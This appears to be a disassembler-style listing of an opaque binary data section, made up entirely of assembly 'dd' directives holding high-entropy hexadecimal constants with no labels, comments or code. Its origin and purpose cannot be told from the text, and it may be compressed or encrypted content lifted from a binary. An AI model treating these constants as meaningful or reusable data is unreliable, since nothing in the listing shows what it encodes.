		dd 95674196h, 0AF6AD26Eh, 2DFC41B3h, 6AD388E2h,	0B95A545Fh
		dd 0B0C2E122h, 69664697h, 0C23D3E00h, 62284DCBh, 44B1104Dh
		dd 0D79A913h, 26DE3B7Eh, 2F099652h, 0DC22D057h,	1156B194h
		dd 0B3F89E50h, 839DA053h, 0DA54D9EEh, 0D30811C7h, 2F60527h
		dd 23202C6Eh, 960487A4h, 85EBD49Fh, 820549E1h, 529ACF1Ah
		dd 88A306A4h, 71496D17h, 4D880730h, 0FE020CA2h,	0C5B1C458h
		dd 0C8A2A92h, 0C8083125h, 9A68991Ah, 180A9B0Fh,	60101CCCh
		dd 0D3AE765Dh, 32C8F02Bh, 0EB847018h, 9E2B300Dh, 30420085h
		dd 0BF527ABBh, 4C41BA32h
		dd 0D14329F4h, 4BCC6601h, 491F455Dh, 4823F202h,	0DD064690h
		dd 0A67EB7E6h, 7785974Bh, 0CB072408h, 5BA95C44h, 1F87AE07h
		dd 63C0F0FDh, 203DE542h, 6CCF824Dh, 10A08A85h, 14364A05h
		dd 19471498h, 18C708B4h, 9B83089Fh, 79388CDh, 0A07EA2Ah
		dd 76030FB4h, 0D60F2826h, 423C13A1h, 913724Eh, 0B77F1D5Bh
		dd 0C04066B7h, 9902E0B2h, 0ECBE9380h, 132AA7D6h, 31597480h
		dd 0FB017578h, 6BF176C0h, 4C47BDD4h, 70A257DEh,	602B7DF4h
		dd 0B91894E2h, 0E005B602h, 6A597073h, 67A1D840h, 75487E55h
		dd 30DC11D4h, 14A4E839h, 0AC760544h, 0E2D1DB5Ah, 9B1E6FC1h
		dd 68F4B577h, 0BA9B3E55h, 3C025A48h, 4FC21847h,	13F8DF54h
		dd 15E927E5h, 4DD18927h, 9404780Bh, 112A27E8h, 2A1C4A0Ch
		dd 2D011421h, 0EA3A092Ah, 4808D48Ch, 2529B3D5h,	894DEA4Ah
		dd 22531296h, 89944A7h,	0C8C1D133h, 4252F016h, 0D2CA52C9h
		dd 0CB44C9C0h, 0C852D052h, 867952CBh, 307CCAAh,	7A89F4E2h
		dd 0E0259004h, 68967212h, 259B84Bh, 98A4A12Dh, 438884BFh
		dd 22583200h, 895B011Ch, 255804AEh, 951112B0h, 53C44AA0h
		dd 4C122A02h, 204AA709h, 41289425h, 44883094h, 0E1B04250h
		dd 21FA5F8h, 0F912A1F0h, 0D84B6008h, 212EF025h,	84B6A097h
		dd 70D4025Bh, 80040559h, 6312010Eh, 804A7289h, 0B12BC425h
		dd 4ABE895h, 12A82256h,	4A808955h, 29822548h, 0A40994E1h
		dd 8A155284h, 84014612h, 11FC6CCCh, 0F8250910h,	1BC7090h
		dd 0E001E848h, 5D048043h, 6E121EE2h, 0A04BB889h, 0E12BD625h
		dd 4A61895h, 12904256h,	0C0EF094Ah, 0A3DA3205h,	31801951h
		dd 25083814h, 0C143118Ah, 0C12F4BF9h, 0C4BBE897h, 12E8225Dh
		dd 4B900975h, 2DC225CCh, 0B5099701h, 0C8255B04h, 0F8956712h
		dd 4256844Ah, 1924C12Bh, 59804AAh, 6352B01h, 234288h, 0A34304A9h
		dd 0AA7A402Ah, 4199383h, 3F3C792Ch, 0C502155h, 89418E02h
		dd 70100461h, 585312FEh, 20FAFA15h, 0B897CF80h,	0C49E0047h
		dd 0B1440AAh, 4B167338h, 8766182h, 0A84B66E0h, 612C0023h
		dd 0C4B14096h, 12C08258h, 51770961h, 0D4BC1559h, 1559164Ch
		dd 183542h, 0B10051CBh,	55B5D61Ah, 1A404690h, 1193310h
		dd 82AB4338h, 70088252h, 56803C64h, 63F6185h, 1E825A08h
		dd 37508DFAh, 23AB46h, 8855087Ah, 0B600CC4Bh, 2AB569C5h
		dd 801C63A4h, 239426B6h, 82D87300h, 0C2152AB5h,	7655C031h
		dd 0E1615AE1h, 2362EA02h, 5560B992h, 3EEB617h, 1BB479B9h
		dd 1B42A861h, 46DD9F03h, 0C0472Eh, 0B0597BF3h, 4B00C5C4h
		dd 62555BD8h, 88C12C9h,	8586058h, 5F850190h, 0BB8741A1h
		dd 24D820A6h, 0D061A590h, 0C0085398h, 4CB4EC60h, 0C4C24FDBh
		dd 15945E30h, 0E4580CD1h, 20346C2Dh, 22B2010h, 719BBB1Bh
		dd 3B65699Bh, 856CA57h,	8B1DD6E8h, 35D42B49h, 12CBA12Bh
		dd 6E84C5ADh, 0D032785Dh, 0C1800B30h, 6EE0C9E8h, 90210DCh
		dd 3887D97Ah, 503120B0h, 0D004B1Bh, 0D1411D59h,	3D018495h
		dd 0C103CC50h, 0C0448ED6h, 2838AB2Bh, 0A8B0FCABh, 58D596Dh
		dd 0D1FD1889h, 0CAE7D9Fh, 65323226h, 435463E7h,	503FBD3h
		dd 0F8480D22h, 7A6C5583h, 4AE54E1Bh, 58A8C668h,	144A746Ch
		dd 18AD805Ch, 183A808Ch, 0B081D755h, 0D95CB66h,	78C06347h
		dd 0DE048BECh, 7328A066h, 0B4D54161h, 0A27488D6h, 702C8229h
		dd 8112C510h, 0E6C87722h, 7117DEE5h, 9DC050A0h,	0B7AC28ABh
		dd 8CAB89BAh, 3060FB87h, 8E629879h, 8984CE61h, 98824E60h
		dd 21032618h, 0A0B0110h, 0C84511ECh, 8985DEh, 4EC04EC5h
		dd 83E98A11h, 3460F021h, 255E1588h, 4408C410h, 51286E00h
		dd 83755753h, 0E8057240h, 5CA2E222h, 77552071h,	16255BECh
		dd 4A990145h, 0FE8FD418h, 2BA8B7FCh, 0F3645728h, 70D8403Ah
		dd 706D5188h, 0A0816237h, 0F71C00E1h, 3D0B1D71h, 2987D95Dh
		dd 0A0701818h, 1162CC29h, 0C40C3096h, 98B8E22h,	0D7AB2C3h
		dd 33ACFA4Ah, 63A08558h, 4A4468F1h, 8BBCE40Ah, 608B4B11h
		dd 82AFEC29h, 0DEDC0B16h, 880CC545h, 0F40ABE8Eh, 0F4AE1757h
		dd 0B17308B6h, 587183C1h, 5BC3721Ch, 0FB7D0B22h, 10A60D3h
		dd 640F0B25h, 2CE255DCh, 0C485AC03h, 302E020Ah,	8ED386E2h
		dd 6F480865h, 0DAE57329h, 0D965C58Ah, 408476h, 8C1272B1h
		dd 56F4E38Fh, 58144595h, 60209C8Ch, 0F1389C64h,	3B5DB3BAh
		dd 0D4880A16h, 0B9FDD6E0h, 1826D465h, 214584C7h, 0B4DCC2Fh
		dd 0E36B0Dh, 19879582h,	0C52DB397h, 42B715A6h, 0B0C13630h
		dd 45845BC9h, 0D24755Ah, 20682019h, 9A5059B3h, 15C85BA1h
		dd 72BA08CBh, 8814129Ah, 0DA0E9360h, 620700A2h,	7450066Dh
		dd 56FB702Fh, 340161ADh, 82C4403Fh, 32CC6961h, 40865BAh
		dd 2811A2DEh, 24D52E15h, 539D9623h, 0C841D1A2h,	0E2208189h
		dd 84DCD518h, 0C502EF1h, 2FFD01A6h, 0E94908ADh,	704410CAh
		dd 9028020h, 6F3145Ch, 0D6F01AFEh, 7B808485h, 831D93EAh
		dd 59513CA3h, 8A0169BCh, 39BC08B3h, 628C1DCDh, 0F8168531h
		dd 146E18A0h, 62C561C5h, 65330A91h, 25AE810Eh, 192498C8h
		dd 0FB72AD4Eh, 57C4C102h, 8AF83D2Dh, 662C7DAAh,	0A0F586FDh
		dd 984A5C9h, 0ADE0B1C6h, 9BDAD918h, 35A0C4CCh, 0B9B9516Bh
		dd 5084A4C4h, 3373A16Ah, 97040121h, 0E577A04Dh,	96802592h
		dd 6A05BC14h, 1D1A7314h, 751D2CB5h, 0A6334C62h,	0E75871B3h
		dd 5A4153A3h, 0CD578444h, 0C07CC98Ch, 3D6061CEh, 301B57D0h
		dd 58E05096h, 934980A3h, 1BF1B643h, 0C7A694D5h,	7038C36Dh
		dd 0D66F0CC0h, 4BC928F4h, 62C52091h, 4893831Ch,	0A2AD0267h
		dd 28150804h, 2D1C10F3h, 60378FC4h, 933599A6h, 0C1A4ECC9h
		dd 9029253Bh, 5806664Ch, 543448CCh, 30308AEBh, 3198C5B5h
		dd 17DC575Bh, 0A355420Ah, 5EE7E45Eh, 0CF2F2A05h, 0EED22DA4h
		dd 0D784F488h, 5EFC9CFFh, 5A0AC002h, 6B039885h,	0C20B4609h
		dd 78B0BC2h, 0E8C9CABBh, 8ABCA8B1h, 53BB88ABh, 468AEE8Dh
		dd 5D1C4F97h, 671C15D6h, 0AC5E302Ch, 63A30946h,	2FAA34h
		dd 0B9010AABh, 0C406AE2Bh, 0BA4EC0Fh, 47C5ABD8h, 0C17DC7FEh
		dd 7690F9F5h, 6EC91E65h, 0CC0AC99Fh, 852E8BA1h,	695B5021h
		dd 0D14511CDh, 5637C423h, 14AE4AA7h, 103E5F9Eh,	15B94EEFh
		dd 0E0F8F9C3h, 5333000Ch, 9C9D7043h, 91C13F72h,	0C27064CBh
		dd 695F2505h, 0A6B02EBFh, 0D1F528AFh, 64E45BB1h, 66C5D7A0h
		dd 998E8119h, 60A4C2C9h, 355B0101h, 0ADA2DC7h, 62CAFFF8h
		dd 954D152Ah, 0DD04AE72h, 0FAD8D64Ah, 7D8C27Fh,	464BBFC6h
		dd 5012BA4Dh, 5831D4EDh, 0B0A66B7h, 87816022h, 41A35696h
		dd 0B16A9019h, 0AA7BA84Fh, 0C2C18854h, 0CA86AB1Ch, 52AA5A06h
		dd 0B07D204h, 69BF068Bh, 1E56BC40h, 0F89309A3h,	4721B455h
		dd 21405878h, 45EAA6E1h, 0D0A0A801h, 874E7773h,	0A1096928h
		dd 3642D215h, 605033E0h, 1B4CBECDh, 98CAEA8Dh, 0DF6AE57h
		dd 2575166Ch, 0E4120511h, 0A6BCF680h, 0B02C4400h, 0FB248D57h
		dd 0AFA911C1h, 3E218BBh, 0EC10AD16h, 3280989Ah,	146CA034h
		dd 706C6ACBh, 0C4D18540h, 0F0A4B7FCh, 0AA7246A3h, 479A7072h
		dd 4307EA55h, 0FC2CDE0h, 4716F837h, 0D5F8F147h,	7D163E30h
		dd 902557ECh, 9AB33017h, 918D2FC5h, 0A76B801Bh,	5472D4F7h
		dd 0C263AE09h, 18A5810Fh, 0A450438Eh, 613E03h, 0F02E57D4h
		dd 1C8A39C2h
		dd 0BD4F91E3h, 8854096Ah, 8E6E1B4Dh, 0EFAF587Ch, 71A0B73Bh
		dd 0A0852D00h, 98CE7AF8h, 0A2365CC9h, 0C5FFA16Ah, 0F56251E0h
		dd 315909F5h, 0FE8860A3h, 95412FE2h, 0DE962D48h, 92648041h
		dd 0EE3D7C72h, 76022B1Fh, 0DE034EA0h, 0C6976669h, 3E4E063Eh
		dd 0C6846A9Fh, 5A633BD0h, 364A4C2Dh, 0E0810746h, 1B548D0Ch
		dd 9BF0411Fh, 39805E68h, 2A05EA6Eh, 804339ACh, 0CAE0E472h
		dd 3A988860h, 3A589591h, 388A9501h, 59579481h, 53835F4Eh
		dd 649850F1h, 0E73BC5C0h, 662F3133h, 0D2E89C2Dh, 0B55E25BCh
		dd 0F335CAFFh, 0F7358EEFh, 0A7DF90EDh, 172F7C4Ch, 0CC317EC4h
		dd 0F2FD8F8Ah, 0DF056264h, 6E341C2Eh, 0CEF789FDh, 53EDCDDh
		dd 16EEDDC2h, 66335707h, 0FEB785AAh, 0FEE89D7Eh, 0F9E8989h
		dd 0FF8CB4D8h, 78F8B3CEh, 12268A70h, 0DBC26CDBh, 0F93F4303h
		dd 6391ED31h, 0B5FC9E8Fh, 1986FC6Eh, 2C231F86h,	96CE2E01h
		dd 0E9F84A2Dh, 0DE8C1EEFh, 0FEB399FFh, 7791B1AFh, 0C18FC857h
		dd 0C2E7CD77h, 30048BC0h, 8DBE9891h, 0F0D3B83Dh, 0DFC62FA9h
		dd 5FDCE8F2h, 0ADC8B839h, 0C99D0E5Fh, 57271F0Ch, 8AB3310h
		dd 2AA97A7Dh, 0FD91A062h, 7CAAD8B8h, 0F3123BA1h, 51B2A786h
		dd 0BC6FEB5Dh, 0FE70C4BBh, 75DC628Bh, 0A4C1F8D8h, 0A84ACE7Eh
		dd 21C6A82Bh, 0F3D9A673h, 538DEDEFh, 0A76A261Fh, 1C60C163h
		dd 8000942Dh, 0F8041F50h, 8B21BFD9h, 7C1F1AAEh,	0F5CF8430h
		dd 0C008042Ah, 13EA8460h, 5A75155Eh, 6623DC92h,	0E7A4EABEh
		dd 5D110A2Ch, 0E268A093h, 7ABECF7Fh, 2E41FD05h,	7C2AC9CBh
		dd 0FA685A7Ch, 8F72350Ah, 5F19ACEFh, 634ABF94h,	0FA85129h
		dd 0A96FFF2Eh, 0E8F07C2Eh, 8F5CFA9h, 18F57994h,	1E2C3334h
		dd 8294D517h, 8DEF59F7h, 0E4691561h, 0D57975C1h, 0EAC30E62h
		dd 0E9EA8B17h, 0BF6C9E80h, 0F60F080Ah, 8B154D38h, 40D2A2ACh
		dd 6E95005h, 0C29955D2h, 0B976F47Fh, 0F965B9D0h, 63981CC6h
		dd 9386E304h, 0FC177E97h, 95773495h, 74F15C03h,	16CAB186h
		dd 98F38EDEh, 5CCC751Eh, 4AE3B789h, 38FE0E8Ch, 2B13EB0Eh
		dd 7A802426h, 50555E6Dh, 51FF28B0h, 9588FF3Ah, 0ED8111B3h
		dd 9C3E367Fh, 522E5FE0h, 0F38DABA5h, 0C36AA8C2h, 1A287A37h
		dd 922E3FB2h, 2BFC2C71h, 7935FCC6h, 1EB3E6CCh, 1157729h
		dd 79881D35h, 735977B2h, 0C6695596h, 4965F50Ah,	3DBC30D9h
		dd 96AF3627h, 0B96B5AE3h, 419E5783h, 0DC61783h,	1B99796Bh
		dd 0DF707658h, 76915D94h, 288A0E95h, 31EB3946h,	8367D80Eh
		dd 56D2FDF3h, 17A36DF4h, 0DB9CE393h, 915B9BCBh,	0E535B63Eh
		dd 0F595B72h, 40987B31h, 4AF4AAACh, 0D0DCC738h,	1CA516D8h
		dd 157C2E22h, 0EC2F6BB9h, 2EFE9043h, 7B5DF1DFh,	30927286h
		dd 18BDB1EFh, 0A9A96315h, 0D0CF175Eh, 0AAF26C5Ah, 0CA43DA8h
		dd 0C9DF8586h, 455B8270h, 0A3C058Ah, 943C6070h,	85DC798Bh
		dd 3BB6A920h, 5DD1E28Bh, 135CA611h, 759963E7h, 2BD8AF6Eh
		dd 4E2D190Dh, 11303CE2h, 0A94A84B3h, 0C0198C2Eh, 60A28A53h
		dd 63628003h, 0D6F40284h, 40AAB403h, 82BDBF0h, 8292120h
		dd 94C2D913h, 0FCD0A0A3h, 260A2Bh, 7BDB3072h, 0BB26D9D2h
		dd 8C78A801h, 4184C88h,	915D8C68h, 79B2046Dh, 28A8D8D1h
		dd 0B38CD58Bh, 0CEC5F30Ah, 1420C729h, 0AE317025h, 753DDC34h
		dd 0DCCF1A5h, 0AC13F142h, 0F86F9C5Bh, 41A05E9Dh, 0A0EDD6D9h
		dd 0F4ABCFC8h, 0E316A6A6h, 0FE34A426h, 0E28625D3h, 0B9BA2A32h
		dd 5AF5975h, 992D54E8h,	0D0541809h, 175C4C45h, 0A62B6477h
		dd 7484894h, 0DAA1C08Ch, 0C9589555h, 3302981Ch,	0CA44905Fh
		dd 0B8489636h, 0D9BA96A4h, 715BB3C2h, 0D03F79C5h, 6B95E94Ah
		dd 4478C9C4h, 2C4A5AB0h, 0A8F0AE6Eh, 0B31971AAh, 80478D91h
		dd 4CA1256Bh, 6BCBA3CEh, 661507A9h, 46646E4Ch, 0FA597C28h
		dd 7FE3CCF5h, 59359ADEh, 0BA0ED05Dh, 32565655h,	4ABE4B5Eh
		dd 7E162265h, 58431285h, 59D25C76h, 0C76B7082h,	6F420323h
		dd 9CAF5B19h, 12B5238Ch, 0C5D9A5A5h, 824CD258h,	8AFB6815h
		dd 5CD59B30h, 0BA847FF3h, 0A4AC61D4h, 5FB6429Eh, 0D34C9155h
		dd 0B0487455h, 0D531B63Eh, 0B08AA45Eh, 94B63DB6h, 3ECC9571h
		dd 13560CC5h, 4CAA0496h, 0F2A63265h, 0F0A8FC0Ch, 1D4400AAh
		dd 8F150F86h, 0EAB06945h, 8060DED4h, 3211CC5Dh,	577B59DDh
		dd 0A3C0E88Eh, 6435B146h, 3697882Dh, 0D2CA6F3Dh, 6214C02h
		dd 79CE0617h, 6AE8C6C4h, 0EAB2019Dh, 936C98B4h,	8A8DAF98h
		dd 30A824CCh, 0ED3BB28h, 8F1431h, 87C1BCE8h, 57C9F3B2h
		dd 30452F41h, 0E627C6EEh, 0B689D44Eh, 0ED227013h, 0CBE6DAC4h
		dd 860C7680h, 1162E2D9h, 89D7B20Ch, 627513AFh, 0F6C444EBh
		dd 0B0C29139h, 822A801Ah, 0F13A1541h, 28670274h, 2746689Dh
		dd 9D04E8Eh, 460813A2h,	84CF8624h, 0A0CBBF1Dh, 71838277h
		dd 45C2267h, 22762EA3h,	68C6C4EEh, 0A664F13Bh, 662A9CAAh
		dd 8042AAB0h, 40D5A9E9h, 0EF4678CDh, 42730CD3h,	2B7D73EFh
		dd 60EB7831h, 5203CD7Eh, 0D4ACAB04h, 51044992h,	0D59F76C7h
		dd 0B9DE0A95h, 0DC856021h, 43726DCEh, 0ACD0D25Bh, 2A414CB4h
		dd 0BA720181h, 9830D98Ch, 984B4844h, 6D2B9AA8h,	9D32EE04h
		dd 0CEE7030Bh, 0D4B9FC97h, 972B4451h, 0E2289820h, 0D0966682h
		dd 6A7096B7h, 8E9D0209h, 225D0FBBh, 46987490h, 1FBE572Fh
		dd 5374BC0h, 0F428840Ch, 0A21A0BBCh, 0B202CBB0h, 0DA186386h
		dd 101692AEh, 0A64E7594h, 58B6413h, 228C175Eh, 45459AFh
		dd 0D079D488h, 0C610D77Bh, 0A9F8263Ah, 2840112Bh, 42E1C3C6h
		dd 93B74D53h, 9F2269B1h, 0AFE380E3h, 0A798F254h, 2E243E93h
		dd 455D49Fh, 0B2DDC6A4h, 15A3A43Ch, 3AE789DBh, 0D997D664h
		dd 5D496EB4h, 2629C289h, 0B2ED460Dh, 0CD77D65Bh, 0C262182h
		dd 0E5D678FFh, 0F67C3BC5h, 0FF59E1D5h, 4526ED16h, 96D62AB6h
		dd 0E071FDF8h, 0AA0A97FDh, 0BAB1ACCAh, 870E7733h, 0E563462Bh
		dd 1EAFBDCDh, 0C209729Eh, 0D922175Ah, 0A6C22324h, 16018845h
		dd 8F586091h, 659FF56Eh, 345A9F13h, 4229CBFCh, 0FB71335Bh
		dd 72B1FAF3h, 0E87D625h, 0D929B0B9h, 0EBB32365h, 7F7BCD7h
		dd 0D7812458h, 0E6724EC6h, 2FB3DED6h, 0DC7A7F3Dh, 0F60231F6h
		dd 367139CEh, 0C15DCAFAh, 0D8699B4Dh, 266C4A5Ah, 92C15B8Ch
		dd 0E9EFBABAh, 0AB71D5E6h, 0D29062E0h, 9C02A1C7h, 0FB845F7Ah
		dd 43ED0B72h, 0C28B3C8h, 78480281h, 0BB6D4FFDh,	0DE0A274Bh
		dd 99B0200Ch, 2D299346h, 7B0B3802h, 0EA91F582h,	3ACAEFE3h
		dd 812EB886h, 7972AF97h, 0A5D38C67h, 6AFA7161h,	56CAF335h
		dd 8940A0F0h, 8E62AEA5h, 0D49D7FCFh, 0FB240515h, 44582BEAh
		dd 70891402h, 5DDh, 1000h, 0
		dd 434A0042h, 652Ch, 0
		dd 20C0E8BFh, 0CC494F66h, 2C036811h, 8A47A7FEh,	4B7FDB04h
		dd 83B3B29Fh, 487E1F57h, 14224703h, 7DFC5C31h, 52FD11ECh
		dd 252AA606h, 8129F408h, 5F1EEF03h, 0C1B697AEh,	4A31301Ah
		dd 0CF0F0F1Ch, 9256E1F9h, 4E07A016h, 395A23FCh,	1F041C1Fh
		dd 7E1CD87Eh, 33C7600Bh, 402DCE50h, 0F83CA3D3h,	0BEB014F2h
		dd 7F7500F4h, 0F4666057h, 0C8192824h, 921F8187h, 50C20227h
		dd 54347307h, 0C48403AFh, 6EB185E7h, 0EFB6D3h, 0BAB872AEh
		dd 0B0F131D0h, 55AD11ABh, 1D0842BFh, 940C3CD2h,	495E0ECFh
		dd 0C0C554F8h, 3C20ECF9h, 1794E1AFh, 151CE5A2h,	19C792EFh
		dd 6B27FD32h, 2C8D8E0Ch, 0D1E7620Bh, 0AEB285CFh, 4AF30FC2h
		dd 0CFE122D9h, 59DD4473h, 33892022h, 0E93CAD18h, 4C65C8DEh
		dd 6B788C42h, 30778FA4h, 10230224h, 89B14C36h, 0B3DDFF0h
		dd 12C092F6h, 0C23EC848h, 12DD73A4h, 7F187E2Fh,	7F1008C2h
		dd 0F8FEB494h, 3BF4D203h, 98D95D84h, 0B3D087Ch,	661689F5h
		dd 91A69B75h, 0E0C1D23Fh, 1080EAD4h, 9ABEF92Ch,	0E2B17596h
		dd 0A1B8830Bh, 6CAD4510h, 177AC5B0h, 0F0C92565h, 4383D515h
		dd 129C06EAh, 0A8842780h, 0BBE0AF2h, 84C42317h,	552B0FDBh
		dd 44A17C25h, 1E0F27FCh, 0A1C3E030h, 0CBCCADAh,	898984E0h
		dd 6419818h, 0EDEAA0D5h, 0FC0FDEC3h, 48B97F4Bh,	0F9E7B94Ch
		dd 0EE20BF3Eh, 6F5733D3h, 492B938h, 697E3E76h, 33149161h
		dd 0E78DC69Ah, 1BE43F1Dh, 6D982150h, 69EB3C08h,	0DC98A61Dh
		dd 4632B199h, 87E0ED85h, 0C163EFF9h, 49ECD7Fh, 8751C5F2h
		dd 1A3EE096h, 81E260B7h, 4B0B6036h, 0B30D09E4h,	8D857214h
		dd 0DAEDC8D5h, 3601D428h, 3BFCBD66h, 7D555BFh, 4CA16089h
		dd 909E2077h, 0AD14DA44h, 32B2BF88h, 8D5FB875h,	5B461232h
		dd 1EFA3BFEh, 260D9C11h, 6D3E2FD9h, 513851A2h, 0B3E356AEh
		dd 0F0C9010Eh, 6BA75505h, 85368FA5h, 0A0BC202Dh, 0F93F6378h
		dd 1B1015F3h, 0E64D3701h, 0FF2A049h, 0A2C87D4Ah, 0D115CBDCh
		dd 0B02D2F62h, 0FA359055h, 0D3E914DCh, 3134CDACh, 12D1EF96h
		dd 5BF878Ch, 0A0F8A139h, 8394B434h, 0A4DD406Ah,	0C2271F40h
		dd 5A0141ACh, 2E947432h, 0B537050Ch, 0EC5F4EB7h, 0C7A2FD20h
		dd 2811C698h, 0F60DD7C5h, 62621CD8h, 611B5615h,	4390D603h
		dd 0C97482E1h, 0E28D3AD3h, 0DDCFD0h, 0F03C3F3Ch, 0B2119881h
		dd 0F7408310h, 763754C4h, 9AAD836Fh, 42278795h,	18076ABEh
		dd 2FF6D955h, 0A389D0A3h, 0C32B781Fh, 1D021DE2h, 0CE707871h
		dd 9069E975h, 0AA368ED7h, 2A47B459h, 0BCF0E3A9h, 173C8A15h
		dd 4E9C7AE0h, 97D780A7h, 1A62A8BFh, 62D07C41h, 63D33537h
		dd 0D367F295h, 0F1D6B2ADh, 5F1B71Eh, 2020EEA5h,	358C0F22h
		dd 63B3A3C7h, 0A1F89D59h, 56A3277Fh, 0B051DB69h, 10F04C76h
		dd 392D797Fh, 455A9F1Eh, 0DA97F858h, 0F4B0137Ch, 305EC10h
		dd 0FA2CF64Eh, 103DC343h, 49C9C6C8h, 6E4A1B07h,	0B9505F75h
		dd 3BA3C11Ch, 4A558ECFh, 941B1075h, 0D055AB7Ch,	3E0F022Dh
		dd 68BDC1D4h, 256DEEDFh, 3D9F74Bh, 6CD7902Dh, 0E77EDAD0h
		dd 90F8967Eh, 42BA25Fh,	9403BA18h, 229627DAh, 8E8DF0CDh
		dd 0C3F1BD75h, 102CCE2Eh, 74073BECh, 0BA90140Dh, 44C3DF87h
		dd 96377841h, 0D158205Dh, 3051DE59h, 9421BB79h,	0E029FA78h
		dd 0E1F8CC99h, 15835BBDh, 2EB262E0h, 0A05A46D1h, 3192891Fh
		dd 5BA43E90h, 687E0A76h, 4813237Fh, 891F76B4h, 96C2CAB1h
		dd 59869720h, 0B3B21E5Bh, 0ED38333Dh, 0C54C3456h, 0C4D0ED8h
		dd 10B8F0FCh, 5AE72A5h,	0EC063D3Dh, 0C0515A88h,	0D5ED174Ch
		dd 25BF995Fh, 6C8FE07h,	0EFDEB55Fh, 0E1097EFBh,	8F11903Ch
		dd 0CD7ED010h, 8F0E643Fh, 6E4783E0h, 727AE8E5h,	8E622B52h
		dd 0F7A06FE7h, 1806D61Bh, 3E85C037h, 0CA1BDD71h, 0A6E9DA16h
		dd 8AE6D62Bh, 0ED687A21h, 0B201F87h, 1C2D19BAh,	0E81C6421h
		dd 0D4271F86h, 0A72ED216h, 0D66D4505h, 452377FBh, 2F567B06h
		dd 6CF22ADFh, 176B0696h, 0B2BD8995h, 4CFD4F48h,	567530E0h
		dd 59D16205h, 0AB6D8DB4h, 6AEF74CBh, 0B826E2F8h, 0C07BA0BDh
		dd 1472C13Ch, 0D10608A0h, 9688AD21h, 41C6D569h,	0F1755841h
		dd 4A97E307h, 0CAA042F8h, 4083C526h, 391A0ABBh,	8C09F5A8h
		dd 0FF7A40Ah, 3415FC70h, 24D4F17Dh, 85AE8520h, 0C88E25AAh
		dd 4E17FFC5h, 0A170C070h, 7AB6607Bh, 0FA082DC6h, 0E8F1C5F7h
		dd 0AE88E5F4h, 0A1187E13h, 38A44E6Ah, 0AEF5E592h, 8E5A31Fh
		dd 2B2FC0ECh, 0F92E580Ch, 5B67B6FEh, 0BA8DADDBh, 4CFB156Bh
		dd 4473DBE8h, 50D09429h, 0BC9A4C07h, 0C4EBFB9h,	0D6FF4C24h
		dd 8FB0A671h, 5CA620B3h, 990858A0h, 8C17FC40h, 0F2FB0DA8h
		dd 32EA278Bh, 3215FE5Fh, 1B64E005h, 8619CB05h, 111BD7CBh
		dd 0FBDABF98h, 3E040945h, 0FC718EB5h, 0D7A56A09h, 0A6E35B68h
		dd 0C0D65B99h, 0B9BFAC4Ch, 7DE61B8Dh, 45F04C14h, 23E0529h
		dd 0A51AA428h, 0CDC6A91h, 454A74CFh, 0C6DC1BB0h, 8F6740D1h
		dd 0EC546F2Eh, 23F2A8F9h, 523F0794h, 0BAA1FB60h, 0B6F2569Ch
		dd 970AE0E7h, 0B40958AAh, 1108CF94h, 550C6D57h,	0D9B8A201h
		dd 0E886F2E0h, 4972B67Ch, 31BE88A8h, 0F301377Dh, 6D9BEDC9h
		dd 50AF0CE2h, 0B8785500h, 4C612A5Ah, 14054453h,	8E503574h
		dd 39D17902h, 1EEE2B39h, 812BDFE7h, 54EA0143h, 0EC85FA04h
		dd 3A1F83D1h, 4FC2A267h, 0C06D79A4h, 0CFE28AD1h, 669366EAh
		dd 0A7834DFDh, 879D8F46h, 207F385h, 52DD0FD1h, 0B03C7EF2h
		dd 0CFA4FF3Ah, 0F6B36BF6h, 0F5AC0FCAh, 45883719h, 0E158FE80h
		dd 49C8A754h, 0E173797h, 94D5FD4Fh, 2BB76E12h, 0B52329F4h
		dd 7B108E40h, 0CBADFF6Fh, 7D11BE40h, 0EF9A6CDh,	6E9A5C8Eh
		dd 7BDE850h, 0EC879C3Dh, 0F1B4AC66h, 282B3DD5h,	67E17D00h
		dd 1DE613A8h, 45FE1B5h,	33B3D83Eh, 0A209E8A1h, 572C3CD2h
		dd 296CB50Dh, 5A7F2A76h, 884443EFh, 0FAADF078h,	6E025ECDh
		dd 0CB48D5FAh, 0E8677E7Bh, 0D5587E06h, 83276C4Bh, 0D8DC0C09h
		dd 0A5BB968Ah, 452D4A16h, 0E544F13Eh, 0CAE979AFh, 0E25E7DC8h
		dd 24EB4F55h, 980C5033h, 6BA0ADF2h, 6EA94A74h, 375619C6h
		dd 236C0EDDh, 6C521F80h, 0AC44DCBCh, 1673941Ah,	6C2FDA2Ch
		dd 10FABE58h, 165E6228h, 0C4A190B5h, 645BDD2Eh,	81F55E1Dh
		dd 0A898B5B4h, 6E7C90C7h, 95A2DBA9h, 758198E0h,	0F09509AFh
		dd 6D0108Bh, 0D170E626h, 7DA78EE8h, 0C357B344h,	9F4697CEh
		dd 4EED70FDh, 375EDD4Fh, 0BEC952C5h, 0F4143FCDh, 16BD47B3h
		dd 0A6A4DC5Bh, 0BE06A766h, 389AAFE1h, 0BDA5BE53h, 0B0622E7h
		dd 4E2CA8D2h, 74BD7081h, 86EC7570h, 0F03C0F26h,	0E922C55Ah
		dd 30BEE03Dh, 0FBFC3875h, 9C5C1639h, 237385B2h,	34A46E8Ch
		dd 738C0398h, 0B954320Fh, 0F582D780h, 0F7BFB772h, 2499A328h
		dd 5800AF5Eh, 8A0ABDD5h, 1F499950h, 21F11950h, 0BEB47F65h
		dd 9AC8EAA4h, 0B1019850h, 670E095Ch, 80C485CFh,	0C4BFAB5Bh
		dd 0C5D30E43h, 170AE9BFh, 0E00E0EC5h, 0E828F3Ah, 0C4B0491Eh
		dd 0CF4F160Fh, 3C4734D9h, 0BFDB7F11h, 0B5848827h, 12E3766Dh
		dd 3EC402E4h, 3A3DAFD9h, 17FF4679h, 3CF9A022h, 0F2E5673Ch
		dd 0D40F559Ah, 0AD0FC4E1h, 8A8A7EA7h, 266E0CE5h, 0BD30C5FEh
		dd 0C30AFAE2h, 740E96BAh, 0BA30260h, 270DF941h,	0C0CFF0B2h
		dd 0C1035BB2h, 0F343F1BFh, 59C875F3h, 2F402BB0h, 0EAE07A7Fh
		dd 8B67BEDDh, 87A691AFh
		dd 48D6B1BBh, 0D70AFE07h, 0CFEBF6E2h, 2765FEF9h, 53D63CA1h
		dd 7E3DBF51h, 5E5499BBh, 0BDF5A06Dh, 0D60B32F2h, 5B7C0F1h
		dd 78D2DEF7h, 5C76AADh,	8B5CCFB7h, 0E58EF140h, 77FD9852h
		dd 9D07339Bh, 0B42A16Ah, 196EF1BBh, 460EA4A5h, 9B7D37EDh
		dd 2E5EA8E8h, 42FAC670h, 0F6BA8395h, 62BA7FCh, 5806525h
